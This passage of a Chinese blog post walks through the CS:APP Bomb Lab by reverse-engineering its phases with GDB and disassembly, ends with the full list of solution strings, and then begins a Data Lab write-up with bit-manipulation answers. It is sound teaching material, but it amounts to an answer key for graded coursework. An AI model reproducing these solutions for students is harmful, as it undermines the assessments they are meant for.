(gdb) print (char *)($rsi)
$1 = 0x4025cf "%d %d"
(gdb) print /x *(long *)(0x402470+0)
$2 = 0x400f7c
(gdb) print /x *(long *)(0x402470+8)
$3 = 0x400fb9
(gdb) print /x *(long *)(0x402470+16)
$4 = 0x400f83
(gdb) print /x *(long *)(0x402470+24)
$5 = 0x400f8a
(gdb) print /x *(long *)(0x402470+32)
$6 = 0x400f91
(gdb) print /x *(long *)(0x402470+40)
$7 = 0x400f98
(gdb) print /x *(long *)(0x402470+48)
$8 = 0x400f9f
(gdb) print /x *(long *)(0x402470+56)
$9 = 0x400fa6

从GDB运行的结果可以看出,sscanf确实读入了两个int *数字,并且也得到了所有的%rax对应的跳转表的不同跳转位置。我们已经有了足够的信息来进行phase_3的逆向。

将phase_3函数逆向,得到如下的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void phase_3(char * input) {
int a, b;
int val = sscanf(input, "%d %d", &a, &b);
if (val <= 1) explode_bomb();
switch (a) {
case 0: a = 207; break;
case 1: a = 311; break;
case 2: a = 707; break;
case 3: a = 256; break;
case 4: a = 389; break;
case 5: a = 206; break;
case 6: a = 682; break;
case 7: a = 327; break;
default: explode_bomb(); a = 0; break;
}
if (a != b) explode_bomb();
return;
}

根据逆向的结果,我们可以得知,本阶段要求输入2个数,且第1个数只能为0到7,且根据第1个数取值的不同,满足条件的第2个数的取值也不同,可能的答案如下:

第1个数 第2个数
0 207
1 311
2 707
3 256
4 389
5 206
6 682
7 327

在GDB中运行bomb并验证结果,结果正确。

阶段4 - phase_4

在bomb-disassemble中观察phase_4的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
000000000040100c <phase_4>:
40100c: 48 83 ec 18 sub $0x18,%rsp
401010: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
401015: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
40101a: be cf 25 40 00 mov $0x4025cf,%esi
40101f: b8 00 00 00 00 mov $0x0,%eax
401024: e8 c7 fb ff ff callq 400bf0 <__isoc99_sscanf@plt> # 从输入的字符串中读取两个数字 并存入局部变量中
401029: 83 f8 02 cmp $0x2,%eax
40102c: 75 07 jne 401035 <phase_4+0x29> # 若数字不为两个 则引爆bomb
40102e: 83 7c 24 08 0e cmpl $0xe,0x8(%rsp)
401033: 76 05 jbe 40103a <phase_4+0x2e> # 若第一个数字大于14 则引爆bomb
401035: e8 00 04 00 00 callq 40143a <explode_bomb>
40103a: ba 0e 00 00 00 mov $0xe,%edx
40103f: be 00 00 00 00 mov $0x0,%esi
401044: 8b 7c 24 08 mov 0x8(%rsp),%edi
401048: e8 81 ff ff ff callq 400fce <func4> # 调用func4
40104d: 85 c0 test %eax,%eax
40104f: 75 07 jne 401058 <phase_4+0x4c>
401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp)
401056: 74 05 je 40105d <phase_4+0x51> # 当返回值和b均为0时 解除阶段 否则 引爆bomb
401058: e8 dd 03 00 00 callq 40143a <explode_bomb>
40105d: 48 83 c4 18 add $0x18,%rsp
401061: c3

可以注意到,phase_4的反汇编代码前半部分与phase_3相似,均是从输入的字符串中读入2个数字。

将phase_4逆向,得到如下的结果:

1
2
3
4
5
6
7
void phase_4(char * input) {
int a, b;
int val = sscanf(input, "%d %d", &a, &b);
if (val != 2 || ((unsigned)a > 14)) explode_bomb();
val = func4(a, 0, 14);
if (val != 0 || b != 0) explode_bomb();
return;

从逆向的结果我们可以看出,phase_4从输入的字符串中读入2个数字a和b,并且a必须小于等于14且大于等于0,然后phase_4调用func4(a, 0, 14),且只有该函数的返回值和b均为0时,该阶段解除。

现在我们将注意转向phase_4调用的func4函数,func4的反汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000000000400fce <func4>:
400fce: 48 83 ec 08 sub $0x8,%rsp
400fd2: 89 d0 mov %edx,%eax
400fd4: 29 f0 sub %esi,%eax
400fd6: 89 c1 mov %eax,%ecx
400fd8: c1 e9 1f shr $0x1f,%ecx
400fdb: 01 c8 add %ecx,%eax
400fdd: d1 f8 sar %eax
# 实际上是/2过程,为了保证负数时舍入正确才使用了位移
400fdf: 8d 0c 30 lea (%rax,%rsi,1),%ecx
# %rax加上b
400fe2: 39 f9 cmp %edi,%ecx
400fe4: 7e 0c jle 400ff2 <func4+0x24>
# if分支
400fe6: 8d 51 ff lea -0x1(%rcx),%edx
400fe9: e8 e0 ff ff ff callq 400fce <func4>
# 递归过程
400fee: 01 c0 add %eax,%eax
400ff0: eb 15 jmp 401007 <func4+0x39>
400ff2: b8 00 00 00 00 mov $0x0,%eax
400ff7: 39 f9 cmp %edi,%ecx
400ff9: 7d 0c jge 401007 <func4+0x39>
400ffb: 8d 71 01 lea 0x1(%rcx),%esi
400ffe: e8 cb ff ff ff callq 400fce <func4>
# 递归过程
401003: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401007: 48 83 c4 08 add $0x8,%rsp
40100b: c3 retq

观察反汇编的func4函数,发现func4函数中调用了func4函数自身,由此可以推测func4函数是一个递归过程。

将func4逆向,得到如下的结果:

1
2
3
4
5
6
7
8
9
10
int func4(int a, int b, int c) {
int returnVal = (c - b) / 2;
int val = returnVal + b;
if (val == a) return 0;
if (val < a) {
return 2 * func4(a, val + 1, c) + 1;
} else {
return 2 * func4(a, b, val - 1);
}
}

观察func4的逆向结果,我们可以发现func4非常类似于二分查找的过程。要另func4的返回值为0,则一定不能让func4执行val<a的分支即必须一直保证(b+c)/2 >= a。考虑到0<=a<=14,所以满足条件的a有a=7 a=3 a=1 a=0 共4个。

在GDB中运行bomb并验证结果,结果正确。

阶段5 - phase_5

在bomb-disassemble中观察phase_5的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0000000000401062 <phase_5>:
401062: 53 push %rbx
401063: 48 83 ec 20 sub $0x20,%rsp
401067: 48 89 fb mov %rdi,%rbx
40106a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401071: 00 00
# 栈破坏检测机制
401073: 48 89 44 24 18 mov %rax,0x18(%rsp)
401078: 31 c0 xor %eax,%eax
40107a: e8 9c 02 00 00 callq 40131b <string_length>
# 计算输入字符串长度
40107f: 83 f8 06 cmp $0x6,%eax
401082: 74 4e je 4010d2 <phase_5+0x70>
# 若长度不为6 则引爆bomb
401084: e8 b1 03 00 00 callq 40143a <explode_bomb>
401089: eb 47 jmp 4010d2 <phase_5+0x70>
40108b: 0f b6 0c 03 movzbl (%rbx,%rax,1),%ecx
40108f: 88 0c 24 mov %cl,(%rsp)
401092: 48 8b 14 24 mov (%rsp),%rdx
401096: 83 e2 0f and $0xf,%edx
401099: 0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx
4010a0: 88 54 04 10 mov %dl,0x10(%rsp,%rax,1)
实际上是a[i] = 0x4024b0[input[i] & 0xf]
4010a4: 48 83 c0 01 add $0x1,%rax
4010a8: 48 83 f8 06 cmp $0x6,%rax
4010ac: 75 dd jne 40108b <phase_5+0x29>
# 循环以及条件判断
4010ae: c6 44 24 16 00 movb $0x0,0x16(%rsp)
# 为构造的字符串尾部加上'\0'
4010b3: be 5e 24 40 00 mov $0x40245e,%esi
4010b8: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
4010bd: e8 76 02 00 00 callq 401338 <strings_not_equal>
# 调用strings_not_equal函数
4010c2: 85 c0 test %eax,%eax
4010c4: 74 13 je 4010d9 <phase_5+0x77>
# 若返回值不为0 则引爆bomb
4010c6: e8 6f 03 00 00 callq 40143a <explode_bomb>
4010cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4010d0: eb 07 jmp 4010d9 <phase_5+0x77>
4010d2: b8 00 00 00 00 mov $0x0,%eax
4010d7: eb b2 jmp 40108b <phase_5+0x29>
4010d9: 48 8b 44 24 18 mov 0x18(%rsp),%rax
4010de: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
4010e5: 00 00
4010e7: 74 05 je 4010ee <phase_5+0x8c>
4010e9: e8 42 fa ff ff callq 400b30 <__stack_chk_fai
l@plt>
4010ee: 48 83 c4 20 add $0x20,%rsp
4010f2: 5b pop %rbx
4010f3: c3 retq

首先,我们注意到phase_5采用了栈破坏检测机制,并且设置了相应的哨兵值防止栈缓冲区溢出。
然后我们将phase_5逆向,得到如下的结果:
1
2
3
4
5
6
7
8
9
void phase_5(char * input) {
char a[7];
if (strlen(input) != 6) explode_bomb();
for (int i = 0 ; i < 6 ; i++)
a[i] = 0x4024b0[input[i] & 0xf];
a[6] = '\0';
int val = strings_not_equal(a, 0x40245e);
if (val != 0) explode_bomb();
return;

在GDB中打印0x4024b0和0x40245e所对应的字符串,命令和结果如下所示:
1
2
3
4
(gdb) print (char *)0x4024b0
$1 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
(gdb) print (char *)0x40245e
$2 = 0x40245e "flyers"

可以看出,phase_5实际上是phase_1的提高。

phase_5要求输入一个6个字符的字符串,通过将取出输入字符串中每个字符的后四位当做偏移地址,以该偏移地址取出地址为0x4024b0处的字符数组中对应的字符,并依次保存在临时数组a中构造一个新的字符串。
再将这个新的字符串与0x40245e处的字符串相比较,如果两个字符串相等,则该阶段解除。

0x40245e处的字符串为”flyers”,其每个字符在0x4024b0处的字符数组”maduiersnfotvbyl”中的对应的偏移量为9,15,14,5,6,7。因此只要输入的字符串的后四位换算成10进制分别为9,15,14,5,6,7即可。

本phase的答案不唯一。一个可能的答案为”yo~uvw”,在GDB中运行bomb并验证结果,结果正确。

阶段6 - phase_6

本phase是所有phase中最难的一个,但是仍然需要一步一步的分解反汇编代码,并最终得到正确的字符串。
在bomb-disassemble中观察phase_6的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
00000000004010f4 <phase_6>:
4010f4: 41 56 push %r14
4010f6: 41 55 push %r13
4010f8: 41 54 push %r12
4010fa: 55 push %rbp
4010fb: 53 push %rbx
4010fc: 48 83 ec 50 sub $0x50,%rsp
401100: 49 89 e5 mov %rsp,%r13
401103: 48 89 e6 mov %rsp,%rsi
401106: e8 51 03 00 00 callq 40145c <read_six_numbers>
# 读入6int型数字
40110b: 49 89 e6 mov %rsp,%r14
40110e: 41 bc 00 00 00 00 mov $0x0,%r12d
401114: 4c 89 ed mov %r13,%rbp
401117: 41 8b 45 00 mov 0x0(%r13),%eax
40111b: 83 e8 01 sub $0x1,%eax
40111e: 83 f8 05 cmp $0x5,%eax
401121: 76 05 jbe 401128 <phase_6+0x34>
401123: e8 12 03 00 00 callq 40143a <explode_bomb>
# 判断数字必须小于等于6
401128: 41 83 c4 01 add $0x1,%r12d
40112c: 41 83 fc 06 cmp $0x6,%r12d
401130: 74 21 je 401153 <phase_6+0x5f>
401132: 44 89 e3 mov %r12d,%ebx
401135: 48 63 c3 movslq %ebx,%rax
401138: 8b 04 84 mov (%rsp,%rax,4),%eax
40113b: 39 45 00 cmp %eax,0x0(%rbp)
40113e: 75 05 jne 401145 <phase_6+0x51>
401140: e8 f5 02 00 00 callq 40143a <explode_bomb>
401145: 83 c3 01 add $0x1,%ebx
401148: 83 fb 05 cmp $0x5,%ebx
40114b: 7e e8 jle 401135 <phase_6+0x41>
40114d: 49 83 c5 04 add $0x4,%r13
401151: eb c1 jmp 401114 <phase_6+0x20>
# 判断这6个数字两两不重复
401153: 48 8d 74 24 18 lea 0x18(%rsp),%rsi
401158: 4c 89 f0 mov %r14,%rax
40115b: b9 07 00 00 00 mov $0x7,%ecx
401160: 89 ca mov %ecx,%edx
401162: 2b 10 sub (%rax),%edx
401164: 89 10 mov %edx,(%rax)
401166: 48 83 c0 04 add $0x4,%rax
40116a: 48 39 f0 cmp %rsi,%rax
40116d: 75 f1 jne 401160 <phase_6+0x6c>
# 分别用7减去这6个数
40116f: be 00 00 00 00 mov $0x0,%esi
401174: eb 21 jmp 401197 <phase_6+0xa3>
401176: 48 8b 52 08 mov 0x8(%rdx),%rdx
40117a: 83 c0 01 add $0x1,%eax
40117d: 39 c8 cmp %ecx,%eax
40117f: 75 f5 jne 401176 <phase_6+0x82>
401181: eb 05 jmp 401188 <phase_6+0x94>
401183: ba d0 32 60 00 mov $0x6032d0,%edx
401188: 48 89 54 74 20 mov %rdx,0x20(%rsp,%rsi,2)
40118d: 48 83 c6 04 add $0x4,%rsi
401191: 48 83 fe 18 cmp $0x18,%rsi
401195: 74 14 je 4011ab <phase_6+0xb7>
401197: 8b 0c 34 mov (%rsp,%rsi,1),%ecx
40119a: 83 f9 01 cmp $0x1,%ecx
40119d: 7e e4 jle 401183 <phase_6+0x8f>
40119f: b8 01 00 00 00 mov $0x1,%eax
4011a4: ba d0 32 60 00 mov $0x6032d0,%edx
4011a9: eb cb jmp 401176 <phase_6+0x82>
4011ab: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx
4011b0: 48 8d 44 24 28 lea 0x28(%rsp),%rax
4011b5: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
4011ba: 48 89 d9 mov %rbx,%rcx
4011bd: 48 8b 10 mov (%rax),%rdx
4011c0: 48 89 51 08 mov %rdx,0x8(%rcx)
4011c4: 48 83 c0 08 add $0x8,%rax
4011c8: 48 39 f0 cmp %rsi,%rax
4011cb: 74 05 je 4011d2 <phase_6+0xde>
4011cd: 48 89 d1 mov %rdx,%rcx
4011d0: eb eb jmp 4011bd <phase_6+0xc9>
4011d2: 48 c7 42 08 00 00 00 movq $0x0,0x8(%rdx)
4011d9: 00
4011da: bd 05 00 00 00 mov $0x5,%ebp
4011df: 48 8b 43 08 mov 0x8(%rbx),%rax
4011e3: 8b 00 mov (%rax),%eax
4011e5: 39 03 cmp %eax,(%rbx)
4011e7: 7d 05 jge 4011ee <phase_6+0xfa>
4011e9: e8 4c 02 00 00 callq 40143a <explode_bomb>
4011ee: 48 8b 5b 08 mov 0x8(%rbx),%rbx
4011f2: 83 ed 01 sub $0x1,%ebp
4011f5: 75 e8 jne 4011df <phase_6+0xeb>
# 主要是重排链表 并且判断重排后的链表递减 否则引爆bomb
4011f7: 48 83 c4 50 add $0x50,%rsp
4011fb: 5b pop %rbx
4011fc: 5d pop %rbp
4011fd: 41 5c pop %r12
4011ff: 41 5d pop %r13
401201: 41 5e pop %r14
401203: c3 retq

由于phase_6的逆向比较复杂,这里只大致介绍该函数的作用——

  1. 该函数在栈上分配了80个字节,包括了一个有6个int型数字的数组a和一个有6个指针的数组b。
  2. 同phase_2一样,该函数调用了read_six_numbers从输入的字符串中读取了6个数字,并且保存到数组a中。
  3. 判断这6个数字是否都小于等于6并且互相不重复,如果不满足则引爆炸弹。
  4. 分别用7减去这6个数,并且用计算结果覆盖这6个数。既a[i] = 7 - a[i]。
  5. phase_6中引用了来自0x6032d0的结构体数组,该结构体共16个字节,其中前8个字节存放了一个int型的数字(结构体对齐),后8个字节存放了一个指针,该指针在指向结构体数组中的下一个元素。这实际上是一个有6个元素的单向链表。
  6. 程序从i=1开始,将结构体数组中的第a[i]个元素的首地址存放进b[i]中,循环6次,直到i=6。
  7. 程序从b[1]开始,将b[1]对应的元素的后8个字节对应的地址指向b[2],直到b[5]->next = b[6],将b[6]所对应的元素的后8个字节对应的地址指向0。
  8. 然后从b[1]所对应的节点开始,依次判断整个链表是否降序排列,如果不满足降序,则引爆bomb。

phase_6是所有phases中最难的一个,其本质是输入1组数字从而实现对单向链表的重排,使得重排后的单向链表降序。

原链表的情况如下:

节点 1 2 3 4 5 6
322 168 924 691 477 443

因此使得链表降序的输入为:”3 4 5 6 1 2”
注意这是用7减过之后的数字序列,原输入序列也就是答案应为:”4 3 2 1 6 5”

隐藏阶段 - secret_phase

观察bomb-symboltable和bomb-disassemble我们都能发现一个叫做secret_phase的函数,这就是本次实验中被隐藏起来的phase。

经过观察反汇编代码,我们发现call secret_phase位于phase_defused函数中。

在bomb-disassemble中观察phase_defused的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
00000000004015c4 <phase_defused>:
4015c4: 48 83 ec 78 sub $0x78,%rsp
4015c8: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4015cf: 00 00
4015d1: 48 89 44 24 68 mov %rax,0x68(%rsp)
4015d6: 31 c0 xor %eax,%eax
4015d8: 83 3d 81 21 20 00 06 cmpl $0x6,0x202181(%rip) # 603760 <num_input_strings>
# 输入过的字符串数目必须为6 意味着必须是phase_6之后
4015df: 75 5e jne 40163f <phase_defused+0x7b>
4015e1: 4c 8d 44 24 10 lea 0x10(%rsp),%r8
4015e6: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
4015eb: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
4015f0: be 19 26 40 00 mov $0x402619,%esi
4015f5: bf 70 38 60 00 mov $0x603870,%edi
4015fa: e8 f1 f5 ff ff callq 400bf0 <__isoc99_sscanf@plt>
4015ff: 83 f8 03 cmp $0x3,%eax
401602: 75 31 jne 401635 <phase_defused+0x71>
401604: be 22 26 40 00 mov $0x402622,%esi
401609: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
40160e: e8 25 fd ff ff callq 401338 <strings_not_equal>
# 第4个输入字符串读入两个数字和一个字符串 且字符串必须与0x402622处的字符串相等
401613: 85 c0 test %eax,%eax
401615: 75 1e jne 401635 <phase_defused+0x71>
401617: bf f8 24 40 00 mov $0x4024f8,%edi
40161c: e8 ef f4 ff ff callq 400b10 <puts@plt>
401621: bf 20 25 40 00 mov $0x402520,%edi
401626: e8 e5 f4 ff ff callq 400b10 <puts@plt>
40162b: b8 00 00 00 00 mov $0x0,%eax
401630: e8 0d fc ff ff callq 401242 <secret_phase>
# 然后才能进入隐藏阶段
401635: bf 58 25 40 00 mov $0x402558,%edi
40163a: e8 d1 f4 ff ff callq 400b10 <puts@plt>
40163f: 48 8b 44 24 68 mov 0x68(%rsp),%rax
401644: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
40164b: 00 00
40164d: 74 05 je 401654 <phase_defused+0x90>
40164f: e8 dc f4 ff ff callq 400b30 <__stack_chk_fail@plt>
401654: 48 83 c4 78 add $0x78,%rsp
401658: c3 retq

当且仅当phase_6解除并且从phase_4的输入字符串依次读取两个数字和一个字符串且这个字符串为”DrEvil”时,可以进入。

在bomb-disassemble中观察secret_phase的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0000000000401242 <secret_phase>:
401242: 53 push %rbx
401243: e8 56 02 00 00 callq 40149e <read_line>
401248: ba 0a 00 00 00 mov $0xa,%edx
40124d: be 00 00 00 00 mov $0x0,%esi
401252: 48 89 c7 mov %rax,%rdi
401255: e8 76 f9 ff ff callq 400bd0 <strtol@plt>
# 调用strtol函数
40125a: 48 89 c3 mov %rax,%rbx
40125d: 8d 40 ff lea -0x1(%rax),%eax
401260: 3d e8 03 00 00 cmp $0x3e8,%eax
401265: 76 05 jbe 40126c <secret_phase+0x2a>
401267: e8 ce 01 00 00 callq 40143a <explode_bomb> # 如果数字减1之后大于1000 则引爆bomb
40126c: 89 de mov %ebx,%esi
40126e: bf f0 30 60 00 mov $0x6030f0,%edi
401273: e8 8c ff ff ff callq 401204 <fun7>
# 调用fun7
401278: 83 f8 02 cmp $0x2,%eax
40127b: 74 05 je 401282 <secret_phase+0x40>
40127d: e8 b8 01 00 00 callq 40143a <explode_bomb> # 如果fun7返回值不为2 则引爆bomb
401282: bf 38 24 40 00 mov $0x402438,%edi
401287: e8 84 f8 ff ff callq 400b10 <puts@plt>
40128c: e8 33 03 00 00 callq 4015c4 <phase_defused>
401291: 5b pop %rbx
401292: c3 retq

根据反汇编的结果,我们可以得知,secret_phase同样需要读入一个字符串,之后其首先调用strtol(input, NULL, 10)将输入的字符串转换成long型数字a。

如果该数字>1001,则引爆bomb,否则则调用fun7(0x6030f0, a)并判断其返回结果,当且仅当结果为2时,解除secret_phase。

在bomb-disassemble中观察fun7的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000000401204 <fun7>:
401204: 48 83 ec 08 sub $0x8,%rsp
401208: 48 85 ff test %rdi,%rdi
40120b: 74 2b je 401238 <fun7+0x34>
40120d: 8b 17 mov (%rdi),%edx
40120f: 39 f2 cmp %esi,%edx
401211: 7e 0d jle 401220 <fun7+0x1c>
401213: 48 8b 7f 08 mov 0x8(%rdi),%rdi
401217: e8 e8 ff ff ff callq 401204 <fun7>
40121c: 01 c0 add %eax,%eax
40121e: eb 1d jmp 40123d <fun7+0x39>
401220: b8 00 00 00 00 mov $0x0,%eax
401225: 39 f2 cmp %esi,%edx
401227: 74 14 je 40123d <fun7+0x39>
401229: 48 8b 7f 10 mov 0x10(%rdi),%rdi
40122d: e8 d2 ff ff ff callq 401204 <fun7>
401232: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401236: eb 05 jmp 40123d <fun7+0x39>
401238: b8 ff ff ff ff mov $0xffffffff,%eax
40123d: 48 83 c4 08 add $0x8,%rsp
401241: c3 retq
# 同样是递归的二分查找过程 数据结构是BST二叉搜索树

将fun7逆向,结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct tree {
int val;
struct tree * left;
struct tree * right;
};

int fun7(struct tree * ptr, int num) {
if (ptr == NULL) return -1;
if (ptr->val == num) return 0;
if (ptr->val < num) {
ptr = ptr->right;
return 2 * fun7(ptr, num) + 1;
} else {
ptr = ptr->left;
return 2 * fun7(ptr, num);
}
}

其中,ptr所指向的struct tree是一棵二叉搜索树的根节点。对于二叉搜索树的任意一个节点,节点左边孩子的值全部小于该节点的值,节点右边孩子的值全部大于该节点的值。

这棵根节点位于0x6030f0的二叉搜索树的结构如下图所示:

要令fun7返回的结果为2,一种可行的递归返回情况是0->(20+1)=1->(12)=2。在该情况下,递归深度为2,节点的移动路线为左->右,并且在值为22的节点返回0。这表明,fun7的第二个参数,也就是secret_phase的正确答案,为”22”。

在GDB中运行bomb并验证结果,结果正确。

实验答案

注意,有部分答案不唯一,并且Bomb Lab每年都在更新,所以答案可能会有所变化。

1
2
3
4
5
6
7
Border relations with Canada have never been better.
1 2 4 8 16 32
1 311
0 0 DrEvil
yo~uvw
4 3 2 1 6 5
22

评论和共享

实验答案托管在我的GitHub

总共花了五天时间完成了《深入理解计算机系统》(Computer Science A Programmer’s Perspective)的第一个Lab - Data Lab,深感这次实验的效率低下。一方面是由于清明假期自己有所惰怠,另一方面也是由于在做题的时候采取了不正确的方法,在已经明知不会的情况下我还继续投入大量无意义的时间,没有取得很好的学习效果。

实验简介

Data Lab - Manipulating Bits主要是关于位操作的实验,对应于书本的第2章:信息的表示和处理。

在该实验中,学生主要需要在一个严格限制的C子集(使用优先的位运算符以及顺序结构的代码)中实现简单的逻辑,补码以及浮点数相关的函数。本实验的目的是为了让学生熟悉整数和浮点数的位级表示。

本实验的核心在于在各种受限制的条件下完成给出的15个谜题。其中包括5个位操作的谜题,7个补码运算的谜题,以及3个浮点数操作的谜题。其中每完成一个谜题都能得到一定的分数,如果使用的运算符数目小于给定的数目,还能获得加分。本实验的满分是71分。可以通过讲义中的driver.pl脚本直接计算出总分数。

关于本实验具体的介绍详见实验讲义

测试程序btest make失败及解决办法

在完成实验的功能中需要用到make && ./btest命令进行答案正确性的检查,结果系统返回了fetal error: gnu/stubs-32.h:No such file or directory

经过检查发现是系统是Archlinux 64位,而Makefile中包含了-m32的编译参数导致的。

通过启用multilib仓库使得可以在64位的ArchLinux系统上编译和运行32位的程序,问题得以解决。

编辑/etc/pacman.conf,取消下面内容的注释:

1
2
[multilib]
include = /etc/pacman.d/mirrorlist

更新软件包列表并升级系统pacman -Syu

然后安装gcc-multilib并重新执行make && ./btest,问题解决。

实验限制

整数代码规则

整数代码应遵循如下的基本结构:

1
2
3
4
5
6
7
8
9
10
int Funct(arg1, arg2, ...) {
/* brief description of how your implementation works */
int var1 = Expr1;
...
int varM = ExprM;
varJ = ExprJ;
...
varN = ExprN;
return ExprR;
}

每一个表达式只能使用:

  1. 0~255之间的常量(包括0和255)
  2. 函数的参数和局部变量
  3. 单目运算符 ! ~
  4. 双目运算符 & ^ | + << >>

注意,部分题目对于运算符有着更加严格的限制,但是你可以在一行代码中使用多个运算符。

你将会被禁止:

  1. 使用任何的分支或者循环结构
  2. 定义或者使用任何的宏
  3. 在文件中定义任何额外函数
  4. 调用任何函数
  5. 使用任何其他的运算符
  6. 使用任何形式的类型转换
  7. 使用除了int以外的其他数据类型,这意味着你不能使用数组,结构或联合

你可以假设你的机器:

  1. 使用32位补码表示整数
  2. 使用算术右移
  3. 对整数进行的位移运算的位数超越了字长是未定义的行为

浮点代码规则

浮点运算的规则相对较为宽松,你可以使用循环或者是分支结构,你被允许同时使用int和unsigned,此外,你还可以使用任意的常量。

你将会被禁止:

  1. 定义或者使用任何的宏
  2. 在文件中定义任何额外函数
  3. 调用任何函数
  4. 使用任何形式的类型转换
  5. 使用除了int和unsigned以外的任何数据类型,这意味着你不能使用数组,结构或者联合
  6. 使用任何浮点数的数据类型,操作或者是常量

实验答案及分析

第一部分 位操作

  • bitAnd
    问题:要求使用~和|以及不超过8个操作符实现x&y
    分析:使用De Morgan定律即可
    答案:

    1
    2
    3
    4
    int bitAnd(int x, int y) {
    /* x&y = ~(~(x&y)) = ~(~x|~y) */
    return ~(~x | ~y);
    }
  • getByte
    问题:要求使用! ~ & ^ | + << >>以及不超过6个操作符返回x中的第n个字节(0(LSB)<=n<=3(MSB))。
    分析:根据不同的n值将x右移不同的位数,然后使用掩码0xFF取得最低位数的字节即可。先左移再右移会导致算术右移,需要小心。
    答案:

    1
    2
    3
    4
    int getByte(int x, int n) {
    /* right shift in order to avoid boring arithmatic shift and try to get specific byte using bitAnd and mask. */
    return ((x >> (n << 3)) & 0xFF);
    }
  • logicalShift
    问题:要求使用! ~ & ^ | + << >>以及不超过20个操作符实现将int值x的逻辑右移n位。
    分析:通过将一个全1的数通过算术右移的方式构造掩码,然后与算术右移的掩码求按位与即可。
    注意,直接右移32位的结果是未定义的,需要额外处理这种情况。
    答案:

    1
    2
    3
    4
    5
    int logicalShift(int x, int n) {
    /* try to implement logical right shift by mask and logical right shift */
    int mask = ((~0) << (31 + (~n + 1))) << 1;
    return (x >> n) & (~mask);
    }
  • bitCount
    问题:要求使用! ~ & ^ | + << >>以及不超过40个操作符计算一个数字x中有多少为1的位。
    分析:
    本题参考stackoverflow上的回答,并结合题目要求做了一些改动。
    核心的思想是分治法,通过将原数字x中的位按每1,2,4…个位分组,按相邻组进行累加,最后求出结果。
    举例来说,假如现在有一个数395,它的二进制表示是0000000110001011(16位),首先我们将这个数按1位分组,得到:
    0 0 0 0 0 0 0 1 1 0 0 0 1 0 1 1
    然后我们将相邻的组累加,得到:
    0+0 0+0 0+0 0+1 1+0 0+0 1+0 1+1
    00 00 00 01 01 00 01 10
    然后我们继续将相邻的组累加,得到:
    00+00 00+01 01+00 01+10
    0000 0001 0001 0011
    然后我们继续将相邻的组累加,得到:
    0000+0001 0001+0011
    00000001 00000100
    最后,我们最后的两个组累加,得到:
    00000001+0000100=00000101
    结果是5,为正确答案。
    答案:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     int bitCount(int x) {
    /* Divide and Conquer */
    int mask = 0x55 + (0x55 << 8) + (0x55 << 16) + (0x55 << 24);
    x = (x & mask) + ((x >> 1) & mask);
    mask = 0x33 + (0x33 << 8) + (0x33 << 16) + (0x33 << 24);
    x = (x & mask) + ((x >> 2) & mask);
    mask = 0xF + (0xF << 8) + (0xF << 16) + (0xF << 24);
    x = (x & mask) + ((x >> 4) & mask);
    return (x + (x >> 8) + (x >> 16) + (x >> 24)) & 0xFF;
    }
  • bang
    问题:要求使用~ & ^ | + << >>以及不超过12个操作数计算x的逻辑非。
    分析:
    逻辑非要求将0变成1,将非0的数变成0。生成0或1可以通过与掩码0x1求按位与实现,重点在于如何构造一个表达式使得0和非0的数产生不同的结果。
    可以考虑对于任意一个非0的数,它的负数都是从最高位到其最低位的1为止(不包括最低位的1)全部取反的结果。
    例如,14是00001110(8位),而-14是11110010(8位),为14从最高位到最低位的1(不包括这个1),也就是000011取反,而最低位的10不变的结果。
    而0的负数永远是0。
    从这里我们可以看出,对于一个非0的数,它与它的负数按位或的结果的最高位一定会是1,而0与非0的按位或的结果的最高位永远是0。我们可以以此实现逻辑非。
    答案:

    1
    2
    3
    4
    int bang(int x) {
    /* for x != 0, the highest bit of x | (-x) will always become 1 while when x == 0, the result is the opposite */
    return (~((x | (~x + 1)) >> 31) & 1);
    }

第二部分 补码运算

  • tmin
    问题:要求使用! ~ & ^ | + << >>以及不超过4个运算符返回以补码表示的最小的整数。
    分析:根据补码到整数的公式,最小的整数的补码表示为10000…
    答案:

    1
    2
    3
    4
    int tmin(void) {
    /* TMin = 10000.... */
    return (1 << 31);
    }
  • fitsBits
    问题:要求使用! ~ & ^ | + << >>以及不超过15个操作符判断x是否能表示成n位的补码,如果是,则返回1,反之则返回0。
    分析:
